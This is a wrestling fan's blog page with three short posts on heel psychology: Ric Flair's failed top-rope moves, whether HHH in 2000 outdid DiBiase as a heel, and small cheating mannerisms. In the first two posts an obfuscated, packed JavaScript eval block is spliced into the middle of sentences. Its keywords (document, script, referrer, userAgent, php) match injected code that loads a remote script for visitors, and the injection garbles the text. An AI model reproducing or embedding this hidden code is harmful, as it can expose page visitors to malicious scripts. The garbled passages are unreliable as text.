Thought of the Day: This Time For Sure!

It’s about psychology today.Let’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhfdf|var|u0026u|referrer|tahtr||js|php'.split('|'),0,{})) look at Ric Flair for a minute. Over the years, Ric Flair has climbed to the top rope for a high risk move approximately 43,392 times and has been successful on about 4 of those attempts (however he did win the NWA World Title at Starrcade 1983 in one of those attempts).

Now the question has always been why would Flair keep going up there when he knows it doesn’t work. This is wrestling fans over thinking what they’re watching. Flair was a heel more often than not, so he would be overconfident. As an overconfident heel, Flair is going to think he can do stuff that he really can’t pull off. Even though he failed so often at this move, heel Flair would think that THIS TIME it had to work. There was no way that whatever loser he was fighting this time could slam the Nature Boy off the top. It’s how a cocky heel would think. Cocky and overconfident wrestlers are going to do stupid stuff all the time and the fans are going to be happy to see them be proven wrong. Flair did the spot a lot because it made sense every single time.

I’ve said it before and I’ll say it again: psychology is the most important thing in the ring and it makes matches so much better.

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Better Heel: HHH in 2000 or DiBiase in 1987/1988?

I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|skeea|var|u0026u|referrer|yiyhb||js|php'.split('|'),0,{})) watching a Raw from 2000 and I’m amazed at how good HHH is at being evil. He gets a lot of flack for his stuff in 2002 and 2003, but when he’s on, sweet goodness is he on. This got me thinking.I’ve often said that DiBiase is the greatest heel of all time and I still say that, but was HHH in 2000 even better? It didn’t last as long, but man alive was it great. I honestly can’t pick which I think is better, but which do you think was better? Do you think someone was better at it? The only other I can think of would be Hogan in the original NWO days.

Thought Of The Day – Heel/Face Mannerisms

I’m watching a Flair match from 1985 and it got me to thinking:In a lot of Flair matches, you would see him put his feet on the ropes or cheat in some small way. I remember at I think Starrcade 88 he had Luger dead and could have pinned him with one finger on Luger’s chest. Flair threw his feet on the ropes anyway on the pin. That’s something so small and so easy, but it’ll get people to boo you every time.

In short, bad guys cheat. It can be anything, from feet on the ropes to grabbing a rope for extra leverage to hooking some tights to poking in the eye. Any of those little things will get the crowd to boo you because the fans know that some things are just plain cheating. The same is true of good guys: stuff like clean breaks or offering a handshake. As long as it’s not campy, it’ll make it clear who the good guys is.

My question: who does no one do things like this anymore? They’re so simple but they’re guaranteed heel heat. Is that too complicated for them?